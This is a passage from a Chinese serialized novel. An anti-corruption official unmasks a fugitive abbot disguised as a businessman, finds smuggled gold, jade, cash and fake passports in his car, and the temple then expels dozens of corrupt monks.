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胸腔里翻腾的悸动,不再试图分辨黑暗中的动静。
右手狠狠挂上前进挡,几乎要将换挡杆掰断!
小车发出一声呜咽般的咆哮,如同垂死的巨兽被鞭子猛烈抽打,猛地向前一蹿。
车轮短暂地空转打滑,溅起一片泥浆碎石后,终于重新稳住方向。
车灯的光柱在疯狂晃动,映照出路旁飞速**、扭曲变形宛如张牙舞爪的树影。
然而,警笛狂闪!
两束强光柱从正前方匝道直射而来,如同审判的目光,瞬间刺透奔驰车的挡风玻璃,将驾驶座上的东妙完全笼罩。
他下意识地抬手遮眼,心脏狂跳不止,不得不猛踩刹车。
轮胎发出刺耳的尖叫,奔驰车在巨大的惯性作用下向前滑行数米,终于在光柱前戛然而止。
空气中弥漫着橡胶摩擦的焦糊味。
东妙的手指紧紧攥着方向盘,指节发白。
他强压下内心的惊涛骇浪,透过指缝观察前方情况。
只见一辆警车横在路中央,完全堵**去路。
他看到几个人从那两辆红蓝警灯疯狂闪烁的吉普车里下来。
几个身着制服的干警神情冷硬、动作警惕地呈扇形散开,站位极其讲究,封**所有进退的角度。
冰冷**在强光下折射出幽冷的锋芒。
而他们核心簇拥着的中心点——
东妙全身的血液,在这一刻似乎都从四肢百骸骤然倒灌回心脏,又在下一秒被猛烈泵压出来!
撞得他眼前金星直冒,连呼吸都停滞了!
江昭宁!
没有警服,一身藏青夹克如同凝固的寒铁,身形在暴烈警灯光线的切割下显得挺拔如刀!
他就那样一步一步踏来,踩在匝道粗糙的路面上,脚步声在绝对的寂静中被无限放大。
每一步都如同重锤砸在东妙那颗狂跳的心脏上!
皮鞋底敲击路面的声响,仿佛直接踏在了他的神经中枢!
不是冤家不聚头!
这冰冷的宿命感如同铁箍死死勒紧东妙的脖颈!
千算万算,算准了金蝉脱壳,算准了调虎离山。
却万万没算到,会在这条紧急出逃的最后咽喉通道上。
一头撞进自己在这山南县唯一也最危险的死对头手里!
而且是在如此狼狈、如此被动、如此毫无遮蔽的时刻!
第235章 斗不过你
惊慌过后,东妙强迫自己镇定下来。
深呼吸之间,他已经完成了心理转换——现在他的身份不是东妙,甚至连和尚都不是。
他是邢本良,东兴集团的董事长。
车窗外,乔国良已经走到驾驶座旁,敲了敲车窗:“请下车接受检查。”
东妙——此刻的邢本良——从容地整理了一下西装领带,按下车窗,露出一副被打扰后略显不悦的表情:“警官,这是怎么回事?我赶时间。”
乔国良打量着他。
眼前的中年男子留着精心打理的短发,西装剪裁合体。
手腕上是一块价值不菲的名表。
完全是一副成功企业家的派头。
“请先下车。”乔国良语气强硬地说。
邢本良无奈地叹了口气,优雅地推开车门下车,站定后还顺手理了理西装前襟。“我能问问为什么拦我吗?”
“我可是守法公民。”
“你是谁?”乔国良例行公事地问道,但目光如炬地审视着对方每一个细微反应。
邢本良从容不迫地从内袋取出一个精致的名片夹,抽出一张名片递给乔国良:“警官,我是东兴集团的董事长邢本良。”
他的语气平和而自信,带着成功人士特有的从容,“正要赶早班航班到国外去洽谈一个跨国合作项目。”
“时间很紧,如果没什么大事的话...”
这时,江昭宁缓步走上前来。
他的目光如探照灯般扫过邢本良的全身上下。
从精心打理的头发到锃亮的皮鞋。
最后定格在那双试图保持镇定却微微颤抖的手上。
“邢本良?”江昭宁淡淡地重复这个名字,声音里听不出情绪,“东兴集团主要从事什么业务?”
“主要是进出口贸易和房地产投资。”邢本良对答如流,嘴角甚至带着一丝商业人士惯有的礼貌微笑,“这次就是去新加坡谈一个地产投资项目,总额大概三亿美元。”
江昭宁沉默着,没有做声。
只是微微侧头,冰冷至极的目光如同最精密的探针。
再一次无声无息地在“邢本良”全身游走、扫描。
他的目光锐利如手术刀,似乎能穿透衣物和伪装。
掠过那考究的西服、手腕上价值不菲的名表……最终,在对方浓密乌黑的头发上停顿了极其短暂的零点零几秒。
这个发际线!
一道无形的闪电在江昭宁脑海深处骤然劈开!
那弧度!尤其是右额角那个微微凹下的、被新生的浓密黑发试图覆盖却未能完全掩盖的奇异起伏!
这个轮廓,这个细微到几乎可以忽略的弧度,是东妙那标志性秃头上留下的胎记形状!
自己与他谈话时就记忆犹深。
它像是地狱入口的坐标,此刻在警灯下、在浓密的人工黑发深处,投射出模糊的阴影!
浓密的人工黑发?
一丝极细微的、反光的胶质粘性痕迹,在强光下悄然透出端倪——就在发际线边缘,那毛发与皮肤连接的、最容易被忽略的地方!
而对面“邢本良”的左手,正下意识地、极快地扫过自己的额角侧面——一个几乎融入了整理西装领口动作里的遮掩!
江昭宁眼神骤然寒芒暴涨!
他不再有丝毫停顿。
藏在夹克下的身体如同一张拉到极限的劲弓绷紧、释放!
高大的身影猛地前倾,手臂如毒蛇出洞般迅捷无比地探入驾驶窗,快得只留下一道残影!
“董事长生意兴隆啊!”江昭宁低沉的声音在警笛间隙响起,冰冷生硬得如同石块摩擦。
他那只手并未停滞——根本不等对方有任何反应,五指张开,带着凌厉的劲风,精准如铁钳,狠狠地抓了下去!
目标不是脖子,不是肩膀,而是那一大片浓密得过分、在高速惊吓和强光照射下不可能依旧如此清爽蓬松的头发!
“呃?!”东妙脸上的所有从容在零点一秒内崩塌殆尽!
他的瞳孔瞬间缩成针尖,全身汗**倒竖!
那只手带着夜风凉意的手掌抓来的轨迹,完全超出了他所有预案的预判!
他全身的血液猛地冲向大脑,嗡地一声炸响!
千钧一发之际,他本能地拼命向后仰头!
同时,左手不顾一切地再次抬起,试图去格挡!
还是慢了!
或者说,那个动作他刻意做得太完美、太紧绷,失去了最自然的灵活!
“嘶啦——!”
一声怪异、沉闷的撕裂声骤然响起!
那根本不是从毛囊里拔出头发的声音!
更像是强力胶粘合的硅胶皮肉被硬生生撕扯、剥离的声音!
动作定格!
时间凝固!
江昭宁的手里,赫然抓着一大块乌黑、蓬松、连着头皮纹理边缘的东西!
那东西在他手上像一块被突然揭下的、丑陋的活体皮肤,边缘还粘着
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湿漉漉的胶质痕迹。
在狂乱旋转的红蓝警灯下,散发着令人毛骨悚然的不真实感!
几乎就在同一时刻,假发下的真容,像被剥去最后一层画皮的妖魔,在强烈到残酷的警灯光线下,暴露无遗!
那是一片触目惊心的光亮!
苍白的头皮上面赫然烙印着一个浅褐色的、形状如同古老符咒般的胎记——那位置,那轮廓,与江昭宁记忆深处的那个记号,在明与暗交错的光影地狱里,严丝合缝地重叠!
江昭宁的目光如同最冷的寒冰,牢牢钉在东妙因巨大冲击而失去所有血色、惊愕扭曲的脸上。
那冰冷的眼神里,没有丝毫胜利者的嘲弄。
只有一种最终确认猎物踪迹、将其锁入绝地的冷酷笃定。
汗水,终于不再掩饰,如同喷泉般从东妙光秃的额角、鬓角疯狂涌出,混杂着粘稠的胶水痕迹,顺着毫无血色、扭曲抽搐的面颊,淋漓而下。
窗外警笛尖啸依旧,红蓝光如同地狱的火焰在他狼狈而震惊的脸上疯狂交错跳跃!
乔国良的手在腰间枪柄上瞬间攥紧!
而江昭宁的声音,低沉、平缓,却穿透了所有声响,带着一种尘埃落定的力量,清晰地砸在凝固的空气中:“哦?东妙和尚你更名换姓了?”
“……江昭宁,”东妙的声音是从干涸的喉咙缝里硬挤出来的,嘶哑得如同朽木摩擦,“我……斗不过你。”
他这是认命,也是所有精心算计在绝对力量面前被碾得粉碎的惨痛灰烬。
但这灰烬之中,骤然腾起一股烧穿肺腑的怨毒之火!
他猛地抬头!
恨意如同沸油般在他喉咙里咕嘟作响,每一个字都饱含着强烈的报复欲和刻骨的怨毒。
“可是——”他声音陡然拔高,尖利刺耳,穿透呼啸的夜风,直直刺向江昭宁,“可是如果你不这般玩这‘猫捉老鼠’的把戏!”
“大家!我们所有人!原本都活得很好!”
他剧烈地喘息着,胸膛剧烈起伏,昂贵的定制西装绷得紧紧的,仿佛下一秒就要爆裂开来:“我不需要颠沛流离!不需要这般仓惶如丧家之犬!”
“你!”他死死指向江昭宁,指尖剧烈颤抖,“你也会有……有源源不断的‘孝敬’!”
“金山银山取之不尽,用之不竭!”
“其他人谁不是睁只眼闭只眼?!你偏要做这出头鸟!要做这不食人间烟火的圣人!”
第236章 用刀剖开这一筒布!
东妙的声音因为情绪失控而走调,尖锐到破音:“现在好了!一切都鸡飞蛋打!我完了!我知道!”
他歇斯底里,“可你呢?”
“江昭宁!你记住我今天的话!”
他身体艰难地前倾,那张被汗水、胶痕和恐惧扭曲的脸,隔着冰冷车窗极力想贴近江昭宁,如同地狱中的厉鬼发出最幽深怨毒、也是最清醒的诅咒:“你是在为自己树墓碑啊!”
“高高竖起你自己的墓碑!你斩断的不是我东妙一个人的生路!”
“你断了多少人的念想!”
“砸了多少人的金饭碗!”
“挡了这县里、这市里、甚至省里上上下下多少人的财路!”
“你清高!你眼里揉不得沙子!”
“可这沙子后面,是一座座金矿!这东山县、这地界,有太多的人,恨不能生啖你肉!”
“你今天送我进去,明天,后天!大后天!总有人,会从不知道哪个黑暗的角落里钻出来……”
“他们会记得你!刻骨铭心地恨你!”
“江昭宁!你躲得过明枪,防得住暗箭!”
“但你挡得住这延绵不绝的恨吗?!”
东妙的咒骂如同实质的毒液喷溅,每一个字都带着他失败者最后的诅咒能量,试图在对手意志最坚定的堡垒上腐蚀出一道缝隙。
警灯的光斑在他那张因疯狂呐喊而完全扭曲的脸上跳跃、闪烁,如同地火点燃干枯的骸骨。
狂躁的夜风灌进匝道,将江昭宁夹克的下摆吹得猎猎作响。
红蓝光芒在他那毫无表情的侧脸上勾勒出冷硬的线条。
那目光沉静得如同万载寒潭之底,又或是矗立在风浪侵蚀万年的峭壁岩石。
东妙那近乎癫狂的控诉和毒咒,如同狂浪拍击在磐石上,只激荡起一片冰冷的漠然。
等东妙那倾尽所有力气的嘶吼最终被粗重的喘息取代,只剩下无意义的呜咽时,江昭宁才动了。
那双平静到令人心头发寒的眼睛,越过剧烈喘息、如落水狗般的东妙,看向早已惊呆了的乔国良。
后者喉头涌动,握着枪柄的手掌指节早已因过度的紧绷而僵死发白。
江昭宁的指令清晰、简洁,不带一丝多余的情绪波动,仿佛只是在下达最普通的调度命令:
“乔局。”声音不大,却带着绝对的、不容置疑的穿透力,瞬间盖过了风声、警笛、喘息和所有不甘怨毒的余音。
冰冷的空气像是凝固了片刻。
“把这‘鸡飞蛋打’的‘邢董事长’,请下车。”
“铐好。”他嘴角极其细微地勾起一丝冰冷的弧度,像是在确认一个早已注定的答案。
“然后搜车!”
这话语,比东妙所有的诅咒加起来都更冷、更硬。
奔驰车漆面光洁,即使在微弱的光线下也能看出价值不菲。
乔国良戴上手套,轻轻拉开驾驶座车门。
车内弥漫着一股皮革和香氛混合的味道,整洁得几乎不像常有人乘坐。
他仔细检查了仪表盘、手套箱、座椅缝隙,除了常规的行车安全手册外,一无所获。
乔国良眯起眼睛,这不符合一个仓促出逃者的常态。
“太干净了,”他低声对车外的江昭宁说,“不像有人长时间开过。”
江昭宁没有回应,但乔国良能感觉到他的视线钉在自己背上。
乔国良继续检查。
中央扶手区除了一包开封的纸巾空无一物;座椅底下连一丝灰尘都找不到。
“东妙,你出逃的家当呢?”江昭宁嘲讽道,“不可能一无所有吧?”
“你逃到国外也要维护奢靡的生活,这不要得钱吗?”
东妙一脸镇定:“钱被明厉和悟机两徒儿带走了,我这儿没有什么。”
这种平静让乔国良更加警惕——他见过太多**,知道这种表情背后往往藏着最深的秘密。
“后备箱。”江昭宁的声音打破黎明时分的寂静,不容置疑。
乔国良点头,在驾驶座侧找到了后备箱开关。
按钮按下时发出几乎不可闻的电机嗡鸣,后备箱缓缓升起。
几名干警立即围拢过来,手电筒的光束在有限的空间内交错扫描。
后备箱里同样整洁得令人怀疑——除了一卷圆筒形的布料,别无他物。
这时东方天际已经泛起了鱼肚白,曙光逐渐明亮,能够更清楚地看到那卷布料。
它被整齐地捆绑着,直径约半米,长度约有一米左右,蓝色的外观,看起来确实像是普通的工业用布或防水布。
“呵呵!那这一筒面料你带着干啥?”
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江昭宁走到后备箱前,用手指敲了敲那卷布料。
为什么单独留下一卷布?
如果真如东妙所说,明厉和悟机带走了所有重要物品,为何偏偏留下这个?
更重要的是,这卷布的摆放位置太刻意了——正好在后备箱正中央,不像是非随意放置。
“我喜欢这种面料,想做几件衣服穿。”东妙回答得从容不迫。
江昭宁发出一声冷笑,“可是这是工业用布,你做衣服穿?这么重的布料,你要披铠甲?”
东妙一时语塞,额头上微微渗出细汗,但仍强作镇定:“这……个人喜好而已。”
江昭宁不再理会他,转向乔国良下令:“国良,用刀剖开这一筒布!”
“是!”乔国良应声,从腰间抽出随身携带的**。
这把**跟随他十年,刀刃因长期打磨而变窄,却依然锋利无比。
他单膝跪地,小心地将刀尖抵在布卷的接缝处。
所有干警都屏住了呼吸。
东妙被两名警察架着,脸色在晨曦中变得苍白,额头上渗出细密汗珠,与之前的镇定判若两人。
刀锋,沉猛地切入!
没有预想中那种切割厚实帆布的粗粝阻力。
刀尖切入后反而一空,随即被一股裹着沉重金属腥气的力量向两边狠狠撕扯开去!
“嗤啦——!”
布帛被巨力撕裂的悲鸣锐利刺耳,穿透了每个人紧绷的神经。
深青色的厚重帆布如同被巨兽的爪子撕开了腐朽的画皮,无力地向两边翻卷、颓废地垂落下去。
里面根本不是实心!
一个偌大的空洞瞬间暴露在惨白的天光之下!紧接着——
哗啦啦!
令人心脏骤停的巨响爆发了!
如同堤坝瞬间决口。
一片纯粹、刺目到令人眩晕的光流裹挟着冰冷的金属气息,如同火山喷涌的熔金般,从帆布卷那被剖开的巨大裂口中失控地倾泻而下,狠狠砸在奔驰后备箱的底板上!
沉闷的、令人牙根发酸的撞击声密集地响起。
金条!
不是想象中切割方正、边角清晰的金条,而是混乱无序、被裹在布卷深处挤压揉搓了太久,棱角扭曲的金块。
它们疯狂地涌流而出。
但这仅仅是序曲。
第237章 目不暇接
紧接着,更巨大的震动接踵而至!
几声更大、更沉闷、更震人心魄的撞击巨响!
如同天外陨石坠落!
是玉石!成色不均的原石,水头苍翠欲滴的雕件镯子,灰白的僵硬的素佩……
大小不一,形状怪异,却全都裹着同样令人窒息的贵重光泽,它们以绝对沉重的姿态滚动、跳跃、碰撞着迸射出来。
滚落在冰冷金属的金块之间,仿佛远古异兽的遗蜕突然复活。
混乱的声响刺穿了凝固的空气,撞击出的零星火星在冰冷清晨中快速湮灭。
然后,是缤纷的纸片海洋般喷发!
崭新的护照,色彩各异的身份证件,厚厚成捆的浅绿美钞、深棕欧元与粉红人民币……
被挤压束缚已久的它们获得了自由,轰然倾泻出来,如同狂风卷起了巨大的钞票落叶,瞬间覆盖、包裹、拍打在那些沉重冰冷的黄金和玉石之上。
纸钞上印刷的油墨在光线下折射出冷硬的、虚无的七彩光晕,与金玉的死寂冰冷交相辉映。
各种价值的符号,就这样蛮横而荒诞地堆叠在一起,在奔驰冰冷的铁皮后备箱里汹涌翻滚,像一个被压缩了千百年、突然释放出来的贪婪梦魇的具象。
所有东西像变魔术般从那个看似普通的布卷中涌出,很快堆满了大半个后备箱。
“天啊...”乔国良忍不住低呼。
乔国良粗略估算了一下。
金条、美金、欧元和人民币再加上那些玉石,价值难以估量。
总价格不下几千万。
“这些金条是为了寺庙未来的发展......”东妙仍在试图辩解,但语气已经毫无底气。
“未来的发展?”江昭宁打断他,“发展到哪里?国外吗?你名下的几本不同国家的护照又是为了什么?跨国弘法?”
东妙哑口无言,他颓然低下了头,所有的气势和镇定在这一刻彻底崩塌。
江昭宁拿起一本护照翻开,冷笑一声:“张三?李四?王五?东妙大师,你一个人需要这么多身份?”
东妙的身体开始发抖,汗水已经浸透了他的衣领。
他张了张嘴,却发不出任何声音。
“东妙,你还有什么可说的?这些东西是从何而来的?”江昭宁的声音冷如钢铁。
“你身为出家人,口口声声宣扬清心寡欲,却暗中敛财无数;表面上慈悲为怀,教育弟子要四大皆空,看破红尘,自己却准备了多少假护照打算潜逃到国外过逍遥自在的生活?”
江昭宁每说一句,就向前一步,东妙则相应地向后退缩。
没有回答。
东妙汗如雨下。
他默默地、几乎是顺从地让自己被带向警车,没有再看那堆财宝一眼。
……
翌日寅时,寺院深处那千年藏经阁内,尘埃在从高窗外漏进的晨光中不安地浮游。
守殿的小沙弥慧果正拿着鬃**长掸拂拭经橱顶端的积灰,角落里一阵窸窸窣窣的异响突然刺破了晨间的宁静。
这声音来得极其突兀,绝非老鼠,更不是风吹经卷,倒像是挣扎蠕动发出的沉闷刮擦,从一排排顶天立地的古老楠木书架最幽深、光线最稀薄的角落传来。
慧果的心猛地往下一沉,握着长掸的手浸出薄汗。
他屏住呼吸,小心翼翼地朝着那片吞噬光线的黑暗走去。
霉味混合着陈年纸张气息,变得浓稠而压抑。
借着经橱缝隙漏下的几丝冷白晨光,眼前的景象让慧果全身的血液瞬间凝固:
三个身影倒卧在冰冷的青砖地上,活像被抛弃的破麻袋。
两个他认得,是工作组的警卫干警,此刻却被粗糙的麻绳五花大绑,勒得制服深陷,嘴里塞着不知哪来的脏污布团,只能发出嗬嗬的怪响,身体痛苦地扭动着。
第三个穿着夹克的人更让慧果魂飞魄散——那不是前几日入寺的工作组谷组长吗?
谷组长双目圆睁,布满血丝,额角青紫一片,同样被捆得结实,口中紧紧塞着浸透汗水的毛巾,正奋力用肩膀一下下撞击着沉重的书架腿!
巨大的恐惧像冰水浇头,慧果下意识地转身,跌跌撞撞地冲出藏经阁幽深的门洞。
冷风扑在脸上,他像一支离弦的箭,撞开斋堂飘来的温热粥气,撞碎大雄宝殿前尚未消散的晨雾,一路狂奔向方丈寮房。
脚步声
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在空寂的回廊中放大成擂鼓,惊飞了檐下几只早起的麻雀。
“方丈!方丈!不好了!”慧果的声音带着哭腔,几乎破了音,冲进智远方丈静谧的禅室。
智远正趺坐在蒲团上对着窗外朦胧山影,闻声陡然睁眼。
他没有多问一个字,那双眼底瞬间凝起一片霜寒。
他沉稳地起身,如磐石移动,对侍立门外的弟子沉声道:“快!叫当值僧,还有慧明法师带上应急药囊,跟我走!”
顷刻之间。
几个当值僧和手持应急包的慧明法师迅疾无声地在他身后集结,如同一片移动的乌云,快步奔向藏经楼。
阁楼深处,景象依然触目惊心。
智远方丈手一挥,几个僧人扑上,七手八脚但动作利落地开始解绳索。
粗糙的麻绳深深勒进皮肉,勒痕发紫发乌,缠绕的绳结死硬。
**锋刃切割绳索的刺啦声撕扯着阁楼凝滞的空气。
智远蹲下身,亲自小心翼翼地为谷庄解开手腕上最后一道绳索。
被勒束多时的血液猛地涌入指尖,那双手控制不住地剧颤。
谷庄猛地吐出嘴里湿漉漉、带着一股铁锈腥味的布团,大口大口地喘气,每一次吸气都牵扯得胸腔刺痛。
清凉寺精通跌打医术的慧明法师已经上前,一手搭脉,一手迅速检查三人身上瘀肿之处。
“额角青紫,皮下出血,但颅骨无碍。手腕脚踝挫伤、皮肉勒伤,脏腑没有损伤内象。”他声音平稳,却字字清晰,“万幸,歹徒只为制人,未敢下死手,筋骨皆全。”
“呼……”谷庄长长吁出一口浊气,后背重重靠在冰冷的书架木棱上,试图稳住身体,但眼前仍有金星乱迸。
他看着眼前面色沉静的智远,声音嘶哑:“是东妙留的‘人桩’……着了他们埋伏的道儿!”
“被他手下那两个狠角儿——堵死在这鬼地方!”
他那双平日里锐利的眼睛布满红丝,除了后怕,更充斥着被人戏耍的怒恨与深深的自责。
谷庄话音未落,自己先打了个寒噤。
一个突如其来的念头像一道闪电,让他的脊背瞬间爬满了冷汗。
第238章 肃清山门!
“智远大师,”谷庄的声音因急切而微微发颤,“我们得立刻去三个地方——库房外墙根、大雄宝殿后方,还有那片''度假地''竹林!”
“东妙他们埋赃的地方,得快去看看土有没有被动过!”
智远方丈浑浊的眼睛骤然清明,他立刻领会了谷庄的担忧。
方丈手中的念珠啪嗒一声落在地上,他也顾不上去捡,只是急促地道:“快走!”
一群人匆忙穿过寺院的回廊。
清晨的露水还未干,青石板上滑溜溜的,几个年轻僧人差点摔跤。
队伍最前面的谷庄步伐又快又稳,但他的心跳却杂乱无章。
一种不祥的预感像乌云般笼罩着他。
首先来到库房外墙根处。
这里相对隐蔽,平时少有人至。
几棵老松树的影子斜斜地投在墙上,形成斑驳的光影。
众人屏息凝神,目光齐刷刷地聚焦在那片土地上。
“这里……”一个小沙弥怯生生地指着地面,“好像被挖过……”
果然,一片明显翻动过的土壤映入眼帘。
虽然作案者试图用落叶和杂草掩饰,但新土与旧土的界限依然可辨。
松软的土地上还残留着几道深深的铲痕,像是被人匆忙间留下的印记。
智远方丈的脸色顿时白了三分,手中的佛珠捻得飞快。
“去大雄宝殿后面!”谷庄的声音已经带上了明显的焦虑。
众人小跑着转过大雄宝殿。
这里是寺庙的核心区域,平日香客络绎不绝。然而殿后的一处角落却被几盆盆景巧妙地遮挡着。
拨开盆景,眼前的景象让所有人倒吸一口冷气——
一个明显刚刚被填平不久的土坑赫然在目。
坑边的青草被践踏得东倒西歪,一柄断成两截的木锹被随意丢弃在草丛中,仿佛在嘲笑着他们的迟来。
“阿弥陀佛……”智远方丈喃喃念诵,额头上渗出细密的汗珠。
谷庄的心已经沉下去大半,但他仍抱着一丝希望:“快去竹林!”
所谓的“度假地”这里竹林幽深,曲径通幽,原本是清修的好去处,却被东妙变成了私会场所。
穿过蜿蜒的小径,来到竹林最深处。
这里的地面铺着一层厚厚的竹叶,看似毫无异常。
但谷庄敏锐地注意到,有一片区域的竹叶颜色明显鲜于周围,像是被人刻意铺上去的。
他蹲下身,用手拨开竹叶——下面的土壤松软湿润,明显不久前被挖掘过。
更令人心惊的是,坑边还残留着半枚清晰的鞋印,那独特的花纹正是东妙常穿的那双定制布鞋的印记。
“三个坑……”谷庄的声音干涩得像是砂纸摩擦,“全都被人动过了……”
他的脑袋“轰”地一声炸裂开来,耳鸣声瞬间淹没了竹叶的沙沙响。
最担心的事情发生了——东妙将赃物转移了!
现场一片死寂,只能听到风吹过竹林的簌簌声。
众人面面相觑,每个人的脸上都写满了震惊与无措。
智远方丈踉跄一步,幸亏被身旁的小沙弥及时扶住。
赃物不翼而飞,意味着东妙与同党逍遥法外,并且很可能已经带着巨额财富逃之夭夭。
谷庄望着那三个空荡荡的土坑,忽然感到一阵刺骨的寒意。
这时,谷庄裤袋里的手机突然不合时宜地尖锐嘶鸣起来!
刺耳的铃声在这幽闭空间里猛烈回荡,像一声声急促的催命符!
谷庄浑身一凛,掏出手机的手都在发颤。
屏幕上跳动着五个字:江昭宁**。
他深吸一口气,手指滑开接听,紧贴耳侧,喉结上下滚动:“**……是我。”
他的声音不自觉地绷紧了。
电话那端江昭宁那穿透电磁波而来的、带着凌晨寒露气息的稳定声线,一字一句如同重锤落定:“谷庄!东妙、明厉、悟机那仨!一个没跑掉!”
“被堵了个结实!车里的‘货’都端出来了!人赃并获!彻底摁住了!”
霎时间,谷庄握手机的手猛地一紧,指节捏得发白,手机壳都似乎在呻吟。
他全身绷紧的肌肉骤然一松,连日积压的沉重巨石被无形巨力轰然砸碎!那沉重的枷锁应声断裂!
一声压抑了太久、仿佛来自胸腔深处的呐喊,混着劫后余生的巨大释然和狂涌的振奋,喷薄而出:“好——!!!好!!!”
声音响亮到震得藏经阁的灰尘都簌簌落下一点。
他甚至忘了电话那头是谁,忘了身处何方,眼前只有东妙那张彻底垮塌如烂泥的灰败面孔!
江昭宁的声音沉稳依旧,却蕴含着清晰的
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指向:“你们的任务,现在是两件事并行推进。”
“修缮工程一刻不能停,这是承诺给山门的交代。”
“另一头,”江昭宁顿了顿,声音里带上一股清扫沉疴的肃杀,“立刻协助智远方丈,肃清山门!”
“把被那些人弄歪的寺风,给我彻彻底底扳回正道去!恢复本分,恢复清净!”
“是!明白!”谷庄几乎是吼出来的。
那声音的力度,穿透藏经阁,让旁边的智远方丈都为之侧目。
方丈的眉峰轻轻一动,深潭般的眼中翻涌起压抑的波澜——东妙一系盘踞山寺多年,如附骨之疽吮吸香火,蛊惑人心,污染道场。
这骤然传来的“彻底摁住”的消息,不啻是一柄金刚杵,轰然劈开了淤塞多年的死水深渊!
千斤重担,无声卸下!
一场暴风骤雨般的肃清席卷了古老禅堂。
慧明、明觉法师成为了双监院,清凉寺形成了一方丈两监院的局面。
大雄宝殿巨大的金身佛像下,佛龛前明烛高烧,香烛被特意换成了古朴的素线香,飘散出清冷沉稳的气息,刻意洗去了往日富贵逼人的脂粉香火味。
工作组协同寺院最高核心——方丈智远、新擢升的两位监院慧明法师与明觉法师——居中而坐。
两侧序次排开的是各大堂口执事僧和戒律院所有僧值法师。
空气沉甸甸的,如同浸湿了铅汞,无形的威压弥漫在每一口吸入的空气里。
僧人列队鱼贯而入,足音纷杂踏在光亮如镜的金砖地上,那声音竟有些惊惶杂沓。
佛前的蒲团很快被挤得满满当当,几百张面孔,神色各异:有垂首愧怍者,有强自镇定者,也有茫然四顾、眼带惊惧者。
无数双眼睛不安或闪烁地向佛坛上三位端坐如松的核心望去。
方丈智远须眉下眼神如古井无波。
慧明法师的嘴角紧抿如同钢刀。
明觉法师则手捻佛珠,低眉垂目,每一颗木珠的转动都仿佛敲在人心坎上。
“肃静。”慧明法师的声音不大,却像冰冷的戒尺平拍在供桌面上,每一个字都淬着寒冰,压住了所有细微的骚动。
空气瞬间冻结。
“今日不为议事,只为清整道场,对参学问道之心做一次彻底的问询。诸佛在上,因果分明!”
第239章 整肃
戒律院首座永真法师起身,展开一卷以金粉书写、庄重得近乎压迫的名册——“清凉寺常住僧籍录”——对着念诵起来。
那浑厚低沉的声音,如同寺庙里撞响的晨钟余波,在空阔庄严的殿内隆隆回荡。
每一个名字被清晰念出,都仿佛投石入水,在数百颗焦灼的心里激起千层浪:
“法号圆觉,原名张海龙,俗籍……”
“法号妙行,原名李伟达,俗籍……”
“法号志远,原名王小军,俗籍……”
每一个名字念出,被点到者便被指定上前三步,立于佛前正中那片冰冷金砖之上。
有些早已面无人色,腿软如绵。
有些强自挺直,眼珠却慌乱滚动。
亦有个别梗着脖子,目光桀骜。
“诸位法师、常住同修,”戒律院首座永真的声调陡然拔高,锐利如刀锋直刺人心,“过去数年,可曾有人假借三宝之名,行世俗贪婪之实?”
“可曾有人口念佛号,心中念念不忘推销所谓开光法物、算卦测字、攀缘附会、替人‘了难’敛财?”
“可曾有人在木鱼声中偷眼窥探手机市价,钟鼓齐鸣时暗动凡心,待夜幕落下便脱下这身法衣,流连于山下灯红酒绿,酒吧、歌厅、牌场甚至……声色之地?!”
每一句质问都像重锤狠狠砸下!
佛前的空气被点燃!
一位刚刚被点到上前、身材微胖、眉宇间依稀留着几分市侩气的僧人。
在这连番拷问下再也支撑不住,双膝一软,“扑通”一声跪倒在冰冷坚硬的金砖地上!
额头碰地发出清脆一响!
他汗出如浆,浑身筛糠似的剧烈颤抖:
“方丈!监院!戒律师父!弟子……弟子该死啊!”
“有罪!弟子……弟子确曾……确曾私下帮山下几个老板做过所谓的‘风水局’,收过钱财……”
他声音破碎,带着哭腔,猛然抬头看向佛像那俯视众生的悲悯之眼,又触电般惊恐地低下头去,“求忏悔!求师父们……给条生路!”
这崩溃的供认,撕开了虚伪的面纱!
如同引爆了**!
一片压抑的死寂之后,更多站在佛前的身影动摇起来。
一个、两个、五个……
近二十个穿着同款海青的身影,陆续双膝砸地。
有的泪流满面哭诉。
有的面色惨白沉默叩头。
更有甚者,主动供出曾穿僧衣在高级酒店“洽谈”灵**、甚至夜间与山下友人流连夜场的不堪细节!
戒律院数位僧值已悄然围拢上前,牢牢盯住场中,目光如鹰隼般锐利。
工作组几位成员在靠墙一侧的长案前,十指翻飞,键盘敲击声密密麻麻如同急雨,清晰记录着每一份口供。
旁边几位年轻的僧值则运笔如飞,在特制的大幅黄表纸上工整誊录名字与罪状,每一笔朱砂落下,都带着不容更改的判决意味。
那卷在佛前展开的庄严名册,仿佛一张无形的业力之网,冰冷的网线勒紧每一个有罪者的脖颈。
最终,戒律院首座永真法师接过智远方丈递来的那张朱砂刺目的“迁单名录”,朗声宣读。
他的声音浑厚悲壮,不带一丝个人喜恶,仿佛天律的宣判官,字字千钧:
“今查,圆觉,俗名张海龙;妙行,俗名李伟达;志远,俗名王小军……等五十一人,身披福田衣,心染世俗尘。”
“或公开招揽生意,或私下攀附权贵,或言行鄙陋乖张,甚至秽乱清规……触犯根本戒律,玷污十方道场清净!”
“经本寺方丈、两序执事公议……”永真抬起头,目光如炬扫过佛前一片颓然跪倒的身影,庄严宣布:“一致议决:对以上人等即刻执行‘迁单’!”
“收回戒牒,褫夺法号,自此与本寺因缘断绝!”
“永不得再入清凉山门一步!”
“迁单——!”两个威严的字眼如铜钟在古殿回荡。
戒律院执事僧齐声应诺,如临大敌。
数名当值僧踏前一步,开始执行程序——他们动作利落而冷酷。
解下袈裟!除下海青!
露出里面花花绿绿的俗家汗衫甚至皮夹克!
那象征着身份的三衣被粗暴扯下,露出的躯壳瞬间在佛前显出油腻与猥琐的本质。
接着是收回僧籍戒牒,薄薄的一张纸被无情撕碎!
有人试图挣扎,被当值僧的铁钳般的手死死按住双臂。
有人如同抽掉了骨头瘫软在地,被直接架起拖走。
沉重的脚步声、压抑的呜咽与当值僧的呵斥声混杂着,沿着大雄宝殿两侧回廊向外拖行。
他们被粗暴地带离佛前这片净土。
如同扫走垃圾般清除出神圣的殿宇范围,直至消失在山门巨大的阴影之外。
那片冰冷的青砖佛地上,最后只留下被撕烂丢弃的内袋上印的俗名与歪扭的银行卡卡片。
在幽幽烛火下闪烁着滑稽而冰冷的尘世污点。
一场清算,肃清了五十一僧侣!
古老的山寺骤然清冷。
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智远方丈伫立在寂静空阔的大雄宝殿门槛内。
殿内几百个蒲团空了不少,残余的线香烟气在稀薄天光里丝丝缕缕盘旋而上。
这份骤然降临的空旷,没有带来轻快,反而沉淀下一种近乎荒凉的沉重。
这寂静之下,深埋着多少被扭曲虚耗的信仰?
